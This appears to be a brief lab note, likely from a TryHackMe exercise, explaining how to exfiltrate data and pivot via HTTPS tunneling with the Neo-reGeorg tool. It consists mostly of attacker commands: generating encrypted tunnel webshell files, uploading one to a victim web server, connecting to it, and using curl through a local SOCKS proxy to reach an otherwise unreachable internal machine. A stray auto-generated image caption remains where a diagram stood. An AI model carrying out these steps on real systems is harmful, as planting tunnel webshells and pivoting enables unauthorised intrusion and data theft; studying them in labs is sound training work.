//How tom exfiltrate data using HTTPS Tunneling

\*On the attackers machine:

python3 neoreg.py generate -k thm

This will generate encrypted tunnel files.

\*On the victim machine:

Upload one of the tunnels on the victim Webserver

Find the URL where the file is poiting to. ex: http://10.10.71.68/uploader/files/tunnel.php

\*On the attackers machine:

python3 neoreg.py -k thm -u http://10.10.71.68/uploader/files/tunnel.php

This will connect to the victim that is hosting the tunnel.

curl --socks5 127.0.0.1:1080 http://172.20.0.121:80

This will use the socks proxy that we setup before and pivot to another machine that we wouldn't be able to access otherwise.

This is what we bypassed:

Diagram

Description automatically generated